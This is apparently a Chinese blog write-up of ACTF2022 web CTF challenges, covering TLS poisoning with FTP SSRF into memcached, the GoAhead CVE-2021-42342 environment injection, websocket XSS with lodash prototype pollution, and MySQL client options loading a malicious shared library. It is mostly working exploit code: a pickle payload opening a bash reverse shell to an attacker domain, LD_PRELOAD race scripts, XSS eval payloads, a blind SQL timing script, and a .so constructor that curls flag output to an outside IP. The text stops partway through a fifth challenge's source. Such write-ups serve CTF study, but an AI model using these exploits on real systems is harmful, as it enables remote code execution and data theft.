April 2, 2023

ACTF2022-WriteUp

ToLeSion

考点:TLS Posion攻击,FTP被动SSRF,pymemcached的pickled反序列化
可以说是buff叠满了这一题XD
然后题解过程也是尼玛及其复杂
这里我就是不想复现了,就来说一下思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python
# -*- coding:utf-8 -
from flask import Flask, request, redirect
from flask_session import Session
from io import BytesIO
import memcache
import pycurl
import random
import string

app = Flask(__name__)
app.debug = True
app.secret_key = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(56))

app.config['SESSION_TYPE'] = 'memcached'
app.config['SESSION_PERMANENT'] = True
app.config['SESSION_USE_SIGNER'] = False
app.config['SESSION_KEY_PREFIX'] = 'actfSession:'
app.config['SESSION_MEMCACHED'] = memcache.Client(['127.0.0.1:11200'])

Session(app)

@app.route('/')
def index():
buffer=BytesIO()
if request.args.get('url'):
url = request.args.get('url')
c = pycurl.Curl()
c.setopt(c.URL, url)
c.setopt(c.FTP_SKIP_PASV_IP, 0)
c.setopt(c.WRITEDATA, buffer)
blacklist = [c.PROTO_DICT, c.PROTO_FILE, c.PROTO_FTP, c.PROTO_GOPHER, c.PROTO_HTTPS, c.PROTO_IMAP, c.PROTO_IMAPS, c.PROTO_LDAP, c.PROTO_LDAPS, c.PROTO_POP3, c.PROTO_POP3S, c.PROTO_RTMP, c.PROTO_RTSP, c.PROTO_SCP, c.PROTO_SFTP, c.PROTO_SMB, c.PROTO_SMBS, c.PROTO_SMTP, c.PROTO_SMTPS, c.PROTO_TELNET, c.PROTO_TFTP]
allowProtos = c.PROTO_ALL
for proto in blacklist:
allowProtos = allowProtos&~(proto)
c.setopt(c.PROTOCOLS, allowProtos)
c.perform()
c.close()
return buffer.getvalue().decode('utf-8')
else:
return redirect('?url=http://www.baidu.com',code=301)

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False)

一眼丁真就是SSRF,起了个memcached缓存,这个我们在之前的文章见到过,因此很清楚,然后ban掉了几个协议留下来的只有HTTP,FTP等等,那这里我们需要利用的也就是FTP协议进行SSRF攻击,进而RCE了

很明显,我们需要使用ftps打TLS-Poison,ssrf写memcached。
以下参考葵师傅的文章:https://amiaaaz.github.io/2022/07/07/actf2022-wp/#tolesion(我太懒了对不起)
先简单了解一下 TLS Poison:
根据我们对 TLS 连接过程的了解,不论在 TLS 1.2 或是 1.3 中都会使用类似 cookie 的 32 位 sessionID 来验证客户端的身份,这个凭据由服务端下发至客户端,服务端不保存,当客户端 HTTPS 访问站点时服务端会对其进行解密;此时如果我们有一个恶意的服务器,向客户端分发特制的凭据,客户端就会把这个凭据存储起来
在实际进行 HTTPS 请求之前,客户端需要对域名进行 DNS 查询,如果 DNS 缓存过期则会再进行一次 DNS 查询,如果没有过期,很容易联想到 DNS 重绑定
第一次请求时返回指向我们恶意服务器的 IP,使第一次 TLS 握手成功 客户端缓存恶意的凭据,在第二次请求需要恢复会话时发起第二次 DNS 请求,此时返回重绑定的结果 127.0.0.1,当客户端恢复会话时客户端会用我们恶意服务器下发的凭据与 127.0.0.1 尝试 TLS 握手,也就是说对内网地址进行一次请求
有一张很直观的图可以辅助理解
image.png

简单来说,当客户端使用ftps://ip:port/访问ftp服务器,ftp服务器在被动模式下向客户端指定数据传输的ip和端口,客户端连接服务器该ip和端口时会重用第一次连接的相关信息,这里就导致了ssrf。
针对TLS-Poison的利用,这里推荐一下这个github仓库:
https://github.com/jmdx/TLS-Poison。
我们可以用它来实现TLS层的解析,通过下面的命令监听8000端口并将tls解析之后应用层的内容转发给1234端口:
target/debug/custom-tls -p 8000 --verbose --certs /etc/letsencrypt/live/<your_domain>/fullchain.pem --key /etc/letsencrypt/live/<your_domain>/privkey.pem forward 1234
使用redis设置payload:
set payload "\r\nset actfSession:whatever 0 0 <len>\n(S'/bin/bash -c \"/bin/bash -i >& /dev/tcp/<your_domain>/8080 0>&1\"'\nios\nsystem\n.\r\n"
经过8000端口的解析,转发到1234端口的内容就是普通的ftp请求了。在1234端口开启一个被动模式返回ip和端口是ssrf目标的ftp服务即可,针对本题就是127.0.0.1的11200端口:
python3 FTPserverForTLSpoison.py 1234 127.0.0.1 11200
控制目标机访问ftps://:8000/,即可触发上述TLS-Poison流程,向memcached写入序列化字符串。
最后监听8080端口,使用上述写入的session访问网站即可触发反序列化getshell。
这里附赠题解EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

#!/usr/bin/env python3
import socketserver, threading,sys

'''
Usage: python3 exp.py local_port target_ip target_port
'''

lport = int(sys.argv[1])
raddr = sys.argv[2].replace('.', ',')
rport = int(sys.argv[3])

t1=int(rport/256)
t2=rport%256

class MyTCPHandler(socketserver.StreamRequestHandler):
def handle(self):
print('[+] connected', self.request, file=sys.stderr)
self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr,flush=True)
self.request.sendall(b'230 Login successful.\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 yolo\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'257 "/" is the current directory\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(f'227 Entering Passive Mode ({raddr},{t1},{t2})\r\n'.encode())

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(f'227 Entering Passive Mode ({raddr},{t1},{t2})\r\n'.encode())

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'200 Switching to Binary mode.\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
self.request.sendall(b'125 Data connection already open. Transfer starting.\r\n')

self.data = self.rfile.readline().strip().decode()
print(self.data, file=sys.stderr)
# 226 Transfer complete.
self.request.sendall(b'250 Requested file action okay, completed.')
exit()

def ftp_worker():
with socketserver.TCPServer(('0.0.0.0', lport), MyTCPHandler) as server:
while True:
server.handle_request()
threading.Thread(target=ftp_worker).start()

有关证书的获取参考:
https://blog.zeddyu.info/2021/04/20/tls-poison/
陆队的文章里直接搜索证书就好了,这文章牛魔3w字起步
然后找个时间打算把FTP进行SSRF的点写一篇文章总结一下,这个星期之内把文章憋出来

gogogo

考点:goahead CVE-2021-42342、环境变量注入
https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html
看p文,是一种享受,在这里涉及到了一个goahead的漏洞,在这漏洞中我们可以进行任意的环境变量注入,但前提是发包为POST的multiple类型的数据包,其实早在2017年goahead也有过环境变量注入
之前在写PHP的时候也解出过一些环境变量注入,具体可以参考:
https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
所以,之后我们遇到环境变量注入,可以进行下列三种测试:

在CentOS系系统下完美解决本文开头提到的问题,通杀所有Bash。

1
2
3
4
5
6
7
8
import requests

payload = {
"BASH_FUNC_env%%":(None,"() { cat /flag; exit; }"),
}

r = requests.post("http://127.0.0.1:7788/cgi-bin/hello",files=payload)
print(r.text)

方式二,就是通过上传so文件,然后劫持包含LD_PRELOAD选项,最后触发反弹shellRCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests, random
from concurrent import futures
from requests_toolbelt import MultipartEncoder
hack_so = open('hack.so','rb').read()

def upload(url):
m = MultipartEncoder(
fields = {
'file':('1.txt', hack_so,'application/octet-stream')
}
)
r = requests.post(
url = url,
data=m,
headers={'Content-Type': m.content_type}
)

def include(url):
m = MultipartEncoder(
fields = {
'LD_PRELOAD': '/proc/self/fd/7',
}
)
r = requests.post(
url = url,
data=m,
headers={'Content-Type': m.content_type}
)


def race(method):
url = 'http://localhost:10218/cgi-bin/hello'
if method == 'include':
include(url)
else:
upload(url)

def main():
task = ['upload','include'] * 1000
random.shuffle(task) #
with futures.ThreadPoolExecutor(max_workers=5) as executor:
results = list(executor.map(race, task))

if __name__ == "__main__":
main()

或者:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult

PAYLOAD_MAX_LENGTH = 16384 - 200


def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}

--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";

/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="1.txt"
Content-Type: text/plain

#payload#{padding}
--{boundary}--
'''.replace('\n', '\r\n')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())


def main():
target = sys.argv[1]
payload_filename = sys.argv[2]

with open(payload_filename, 'rb') as f:
data = f.read()

if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)

parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80

context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)

else:
exploit(client, parts, data)


if __name__ == '__main__':
main()

用法是python exp.py http://target [path of so.file]
image.png
直接反弹shell,这里提一嘴,windows的docker对于复现漏洞,有时候可能还是比较抽象的,比如这个windows的docker就复刻不了,cgi服务器会报500的错误,我猜测这应该是端口占用之类的原因吧,所以说还是有弊有利的windows docker
但是大部分时间还是不会抽风的(呜呜呜windows你能不能支棱起来啊)

poorui

考点:websockets,xss,原型链污染
借这个题学了一波websockets:
https://www.ruanyifeng.com/blog/2017/05/websocket.html
这一题也是出现了十分严重的非预期,首先看看bot的行为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import WebSocket from "ws ";
import { FLAG, WS_SERVER } from "./config.js";
import { isJson } from "./util.js";

const conn = new WebSocket(WS_SERVER)
const username = 'flagbot'

const handleLogin = () => {
conn.send(JSON.stringify({
api: "login",
username: username
}))
}

const handleGetFlag = (from) => {
console.log('[getflag]', from)
if(from === 'admin'){
conn.send(JSON.stringify({
api: 'sendflag',
flag: FLAG,
to: from
}))
}
}

const handleList = (list) => {
console.log(list)
}

const handleMsg = (msg) => {
switch(msg.api){
case "login":
handleLogin()
break
case "list":
handleList(msg.peers)
break
case "getflag":
if(msg.from) handleGetFlag(msg.from)
break
default:
console.log("unknown api", msg.api)
}
}

conn.onopen = () => {
const msg = {
api: "ping",
data: "hello world"
}
conn.send(JSON.stringify(msg))
conn.send(JSON.stringify({api: "list"}))
}

conn.on('message', msg => {
console.log('[onmessage]', msg.toString())
if(isJson(msg)){
handleMsg(JSON.parse(msg))
}
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import puppeteer from "puppeteer";

const SERVER_URL = 'http://localhost:8081/chat';
const USERNAME = 'admin';

(async () => {
const browser = await puppeteer.launch({
headless: process.env.DEBUG ?? true
});
const page = await browser.newPage()
await page.goto(SERVER_URL)
await page.type('#username', USERNAME)
await page.click('#btn-login')
page.on('load', () => {
console.log(page.url())
if(page.url() !== SERVER_URL){
setTimeout(async () => {
await page.goto(SERVER_URL)
await page.type('#username', USERNAME)
await page.click('#btn-login')
}, 3000);
}
})
})();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
import { WebSocketServer } from "ws";
import express from "express";
import { createServer } from "http";
import bodyParser from 'body-parser'
import fs from 'fs';
import { v4 as uuidv4 } from 'uuid';
import path from "path";
import { PORT, LISTEN } from "./config.js";
import { fileURLToPath } from "url";


const __filename = fileURLToPath(import.meta.url)
const __dirname = path.dirname(__filename)

const app = express()
const http = createServer(app)
const TPL_PATH = './tpls'

app.use(bodyParser.json())
app.use(express.static(path.join(__dirname, 'public')))

app.get('/hello', (req, res) => {
res.send("hello world");
})

app.post('/tplCreate', (req, res) => {
const tpl = req.body.tpl
if(!tpl){
res.send('no tpl field specified!')
return
}
const tplName = uuidv4() + '.tpl'
fs.writeFile(path.join(TPL_PATH, tplName), tpl, () => {
res.json({ 'tplID': tplName })
})
})

app.get('/tplView', (req, res) => {
const tplName = req.query.tpl
if(!tplName || !tplName.endsWith('.tpl')){
res.send('wrong tpl id!')
return
}
res.header('Content-Type', 'text/html')
res.sendFile(path.join(__dirname, TPL_PATH, tplName), (err) => {
if(err) res.send(err)
})
})

app.get('/tplList', (req, res) => {
res.json(fs.readdirSync(TPL_PATH))
})

app.get('*', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});

const wss = new WebSocketServer({ server: http })

const clients = new Map()
const ws2username = new Map()
const username2ws = new Map()

const sendWarning = (ws, warning) => {
ws.send(JSON.stringify({
api: 'warning',
warning: warning
}))
}

const apiPing = (ws) => { ws.send('pong') }

const apiList = (ws) => {
ws.send(JSON.stringify({
api: 'list',
peers: Array.from(username2ws.keys())
}))
}

const apiSendmsg = (ws, content, to) => {
if(!username2ws.has(to)){
return
}
// console.log(ws2username)
if(content.type == 'tpl'){
let tplfile = path.join(TPL_PATH, content.data.tpl)
if(!tplfile.endsWith('.tpl')){
tplfile += '.tpl'
}
content.data.tpl = fs.existsSync(tplfile) ? fs.readFileSync(tplfile).toString() : '***'
}
username2ws.get(to).send(JSON.stringify({
api: "message",
from: ws2username.get(ws),
content: content
}))
}

const apiLogin = (ws, username) => {
console.log(username)
ws2username.set(ws, username)
if(username2ws.has(username)){
console.log(username, "logged in already")
sendWarning(ws, 'username already used!')
ws.close()
return
// username2ws.get(username).close()
}
username2ws.set(username, ws)
ws.send(`Now you are ${username}`)
}

const apiSendFlag = (ws, flag, to) => {
username2ws.get(to).send(JSON.stringify({
api: "flag",
flag: flag
}))
}

const apiGetFlag = (ws) => {
username2ws.get('flagbot').send(JSON.stringify({
api: "getflag",
from: ws2username.get(ws)
}))
}

const handleMsg = (msg, ws) => {
switch(msg.api){
case "login":
apiLogin(ws, msg.username)
break
case "ping":
apiPing(ws)
break
case 'list':
apiList(ws)
break
case 'sendmsg':
apiSendmsg(ws, msg.msg, msg.to)
break
case 'sendflag':
apiSendFlag(ws, msg.flag, msg.to)
break
case 'getflag':
apiGetFlag(ws)
break
default:
console.log('unknown api')
}
}

const handleConn = (ws, addr) => {
// console.log(typeof ws)
ws.send(JSON.stringify({ api: "login" })) // login required
setTimeout(() => {
if(!ws2username.has(ws)) ws.close()
}, 5000)

ws.on('message', msg => {
const data = JSON.parse(msg)
console.log(data)
handleMsg(data, ws)
})
ws.on('close', () => {
const username = ws2username.get(ws)
console.log(addr, username, "closed")
clients.delete(addr)
username2ws.delete(username)
ws2username.delete(ws)
})
ws.on('ping', () => {
ws.send('pong')
console.log('ping')
})
}

wss.on('connection', (ws, req) => {
const { remoteAddress:host, remotePort:port } = req.socket
console.log(host, port)
clients.set(`${host}:${port}`, ws)
handleConn(ws, `${host}:${port}`)
})

// wss.on('listening', () => {
// console.log('listening...')
// })

http.listen(PORT, LISTEN, () => {
console.log(`listening on ${LISTEN}:${PORT}`);
});

image.png
一共有2个bot和一个服务端,服务端就是对请求进行处理,adminbot就是停留在chat界面的一个bot,被xss的:
image.png
这里对text类型的数据进行了过滤,不能xss,在F12可以看出这是一个react写的web,并且源码可见:
image.png
这里可以利用图片进行xss,然后强行让admin用户跳转下线,我们登录admin账户调用api获取flag,但是首先this.props.allowImage && attrs.wow要为true,因此还需要进行原型链污染,审计员吗可以得知该js调用了lodash库,存在原型链污染:
image.png
在对tpl进行渲染时调用了merge,其中第二个参数就是tpl页面的内容,我们可控,因此思路很清晰
flagbot里面设置了主要的api,flag对应的api是getflag,只要调用该websockets的getflag api就可以立马获取flag,但是首先需要通过一个判断:
if(from === 'admin'),其实这个好说,不就是websockes请求时发时发送一个from=admin吗,因此这一题出现了严重的非预期,这是因为没有对admin登录进行处理,我们只需要:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
const ws = new WebSocket("ws://127.0.0.1:8081")
ws.on("message", data => {
try {
data = JSON.parse(data)
} catch {
return console.log(new Date(), data.toString())
}
switch (data.api) {
case "login":
getFlag()
}
function getFlag() {
console.log("get flag")
// admin 被踢后不会立刻下线,设置个 1000 ms 延时
setTimeout(() => {
ws.send(JSON.stringify({ api: "login", username: 'admin' }))
const payload = {
api: "getflag",
}
ws.send(JSON.stringify(payload))
}, 1000)
}

运行后flag就出来了:
image.png

但是我们追求预期解法,预期解法就是利用tpl原型链污染,污染allowimage属性,从而可以上传img图像,然后利用img xss让admin界面随便跳转下线,我们上号获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
const { WebSocket } = require("ws")

const code = `window.location.href = 'https://www.baidu.com'`

// const ws = new WebSocket("ws://127.0.0.1:8081")
const ws = new WebSocket("ws://127.0.0.1:8081")

ws.on("message", data => {
try {
data = JSON.parse(data)
} catch {
return console.log(new Date(), data.toString())
}
switch (data.api) {
case "login":
doLogin()
}

console.log(new Date(), "message", data)
})

ws.on("open", () => {
setTimeout(() => {
// apiList()
prototypePollution()
sendImage()
getFlag()
}, 1000)
})

function doLogin() {
// ws.send(JSON.stringify({ api: "login", username: (Math.random() + 1).toString(36) }))
ws.send(JSON.stringify({ api: "login", username: "admin" }))
}

function prototypePollution() {
const payload = {
api: "sendmsg",
to: "admin",
msg: {
type: "tpl",
data: {
tpl: "test.tpl",
ctx: '{ "constructor": { "prototype": { "allowImage": true } } }'
}
}
}
ws.send(JSON.stringify(payload))
}

function sendImage() {
console.log("send image")
const payload = {
api: "sendmsg",
to: "admin",
msg: {
type: "image",
data: {
src: "http://www.baidu.com",
attrs: '{"id":"x","tabindex":1,"is":"focus","autofocus":true,"wow":true,"onfocus":"eval(atob(`' + Buffer.from(code).toString("base64") + '`))"}',
}
}
}
ws.send(JSON.stringify(payload))
}

function getFlag() {
console.log("get flag")
// admin 被踢后不会立刻下线,设置个 1000 ms 延时
setTimeout(() => {
ws.send(JSON.stringify({ api: "login", username: 'admin' }))
const payload = {
api: "getflag",
}
ws.send(JSON.stringify(payload))
}, 1000)
}

image.png

myclient

考点:mysql_options可控,mysql加载恶意so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$con = mysqli_init();
$key = $_GET['key'];
$value = $_GET['value'];
if(strlen($value) > 1500){
die('too long');
}
if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}
mysqli_options($con, MYSQLI_OPT_LOCAL_INFILE, 0);
if (!mysqli_real_connect($con, "127.0.0.1", "test", "test123456", "mysql")) {
$content = 'connect failed';
} else {
$content = 'connect success';
}
mysqli_close($con);
echo $content;
?>

其实这一题和TQLCTF中的SQL_TEST一模一样:
不同点是TQLCTF中用的是phar反序列化去RCE,我们这是用恶意so文件进行RCE
在这里我们可控的参数就是key和value,在mysqli_options选项中使用到了,先看看这个选项有什么:
image.png
其中注意一个MYSQLI_INIT_COMMAND,这个选项可以让我们在建立mysql连接时,执行一条自定义的语句,也就是可控value指定的,那么我们就可以执行任意SQL语句了
正常情况的话,这样我们是可以写shell到网站目录下的,我们可以尝试一下:
image.png
这里延时了5s(3就是MYSQLI_INIT_COMMAND的值),说明执行指令是成功的,只是没有回显,我们再试试写shell:
image.png
提示我们有--secure-file-priv选项,这个选项会限制我们读写的文件,因此我们现在要做的是确定这个限制的文件夹位置,写个脚本盲注一下:
我们可以通过select @@global.secure_file_priv确定文件夹:
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import json
import time

import requests
url = "http://localhost:10047/index.php?key=3&value="
result = ''
i = 0
while True:
i = i + 1
head = 1
tail = 128

while head < tail:
mid = (head + tail) >> 1
payload=f"select if(ascii(substr((select @@global.secure_file_priv),{i},1))>{mid},sleep(0.2),0)"
t1=time.time()
r=requests.get(url=url+payload)
t2=time.time()
print(t2-t1)
if t2-t1>0.2:
head = mid + 1
else:
tail = mid

if head != 1:
result += chr(head)
else:
break
print(result)

image.png
得到secure_file_priv后,我们就可以进行下一步的操作,也就是将so文件写入,然后通过MYSQLI_READ_DEFAULT_FILE更改配置文件目录:
先准备一个恶意的mysql配置库:
恶意so:

1
2
3
4
5
6
7
8
9
10
#define _GNU_SOURCE


#include <stdlib.h>


__attribute__ ((__constructor__)) void preload (void)
{
system("/readflag | curl -XPOST http://192.168.0.107:8888/ -d @-");
}

然后将恶意so转为十六进制,这个我们可以利用本地mysql使用select hex(load_file("path")) into outfile "xxx"即可
然后准备一手恶意cnf配置文件:

1
2
3
4
5
6
[client]#
plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e #
default_auth=evil450 #
default_authentication_plugin = evil450 #
default_authentication = evil450 #
init-command=SELECT 0x[恶意SO十六进制] INTO DUMPFILE "/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so";#

最后将该文件进行上述一样的操作转为十六进制文件。最后写一个py脚本写入服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import json
import time

import requests
url = "http://localhost:10047/index.php?key=3&value="
# result = ''
# i = 0
# while True:
# i = i + 1
# head = 1
# tail = 128
#
# while head < tail:
# mid = (head + tail) >> 1
# payload=f"select if(ascii(substr((select @@global.secure_file_priv),{i},1))>{mid},sleep(0.2),0)"
# t1=time.time()
# r=requests.get(url=url+payload)
# t2=time.time()
# print(t2-t1)
# if t2-t1>0.2:
# head = mid + 1
# else:
# tail = mid
#
# if head != 1:
# result += chr(head)
# else:
# break
# print(result)
import requests
url = "http://127.0.0.1:10047/index.php"
payload = []
with open("out2.txt","r") as f:#evilmy.cnf的十六进制
file_data = f.read()
i = 0
j = 0
while i < len(file_data):
if i + 1000 > len(file_data):
values = file_data[i:]
else:
values = file_data[i:i + 1000]
i = i + 1000
j = j + 1
payload+=[values]
print(len(payload))
#分块长度,1000个十六进制,500个字符
length = int(500)
#生成分块文件的sql语句
filenames = []
i=0
for v in payload:
filename = "/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS"+str(i)
filenames += [filename]
sql = "select 0x"+v+" into outfile '"+filename+"'"
print(sql)
i+=1
params = {
"key" : 3,
"value" : sql
}
resp = requests.get(url,params)
print(resp.text)
#文件合并
sqlinit = "select 0x"+payload[1]+" into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1'"
params = {
"key" : 3,
"value" : sqlinit
}
resp = requests.get(url,params)
i=1
for v in filenames:
if i==len(filenames)-1:
break
sql2 = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i)+"'),1,"+str(length*(i))+")),(select substr(load_file('"+filenames[i+1]+"'),1,"+str(length)+"))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i+1)+"';"
print(sql2)
params = {
"key": 3,
"value": sql2
}
resp = requests.get(url, params)
i += 1
sqlinit = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0'),1,505)),(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp62'),1,30525))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp63.cnf';"#自己debug一下长度
params = {
"key" : 3,
"value" : sqlinit
}
resp = requests.get(url,params)
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp63.cnf")
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp63.cnf")

image.png
这里需要注意一下这个py脚本需要自己手动调一下,在注释部分说了,有可能文件大小和py脚本一样,这时候就需要自己手动调整一下ROIStmpxxx后面的数字
在这里遇到了个小问题就是load_file为null,这是my.cnf文件没有配置secure_priv选项

其实这一题还有一个比较有意思的思路,就是完全仿照TQLCTF的思路,自己手动传个phar上去,然后再更改密码或者是FULSH PRIVILEGES触发phar反序列化,这里可以参考葵的尝试:
https://amiaaaz.github.io/2022/07/07/actf2022-wp/#myclient
还是比较好玩的好吧

BeWhatYouWannaBe

考点:DOM破坏
三个源码文件,都是js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
const app = require('express')()
const bodyParser = require('body-parser')
const session = require('express-session')
const admin = require('./admin')
const mongoose = require('mongoose')
const rand = require('string-random')
const crypto = require('crypto')

const LISTEN = '0.0.0.0'
const PORT = 8000
const config = require('./config')
const FLAG = config.FLAG
const FAKE_FLAG = config.FAKE_FLAG
const MONGO_URL = 'mongodb://mongodb:27017/ctf'
const SECRET = rand(32, '0123456789abcdef')


const ValidateToken = (Token) => {
var sha256 = crypto.createHash('sha256');
return sha256.update(Math.sin(Math.floor(Date.now() / 1000)).toString()).digest('hex') === Token;
}

mongoose.connect(MONGO_URL)
const User = mongoose.model("users", new mongoose.Schema({
username: String,
password: String,
isAdmin: Boolean
}))

app.set('view engine', 'ejs')
app.use(session({
secret: SECRET,
resave: false,
saveUninitialized: true,
cookie: { secure: false },
}))
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json())

app.get('/', (req, res) => {
res.send('hello world')
})

app.get('/login', (req, res) => {
res.render('login', {})
})

app.post('/admin', (req, res) => {
let url = req.body.url ? req.body.url : 'http://pumpk1n.com'
admin.view(url)
.then(() => { res.send(url) })
.catch(e => { res.send(e) })
})

app.get('/home', (req, res) => {
if (!req.session.user) {
res.redirect('/login')
return
}
res.render('home', { user: req.session.user })
})

app.post('/login', (req, res) => {
let username = req.body.username
let password = req.body.password
console.log("login", username, password)
if (typeof username !== 'string' || typeof password !== 'string') {
res.render('login', { error: "wafed" })
return
}

User.find({ username: username, password: password }, (err, user) => {
if (err) {
res.render('login', { error: err })
return
}
if (user.length > 0) {
req.session.user = username
res.redirect('home')
} else {
res.render('login', { error: "login failed" })
}
})
})

app.get('/register', (req, res) => {
res.render('register', {})
})

app.post('/register', (req, res) => {
let username = req.body.username
let password = req.body.password
if (typeof username !== 'string' || typeof password !== 'string') {
res.render('login', { error: "wafed" })
return
}
const newuser = new User({
username: username,
password: password,
isAdmin: false
})
User.find({ username: username }, (err, user) => {
if (err) {
res.render('register', { error: err })
return
}
if (user.length > 0) {
res.render('register', { error: "user already exists!" })
} else {
newuser.save()
res.redirect('login', 302)
}

})
})

app.post('/beAdmin', (req, res) => {
if (req.session.user != 'admin') {
res.send("sorry, only admin can be admin")
return
}
const username = req.body.username
const csrftoken = req.body.csrftoken
if (ValidateToken(csrftoken)) {
User.updateMany({ username: username }, { isAdmin: true },
(err, users) => {
if (err) {
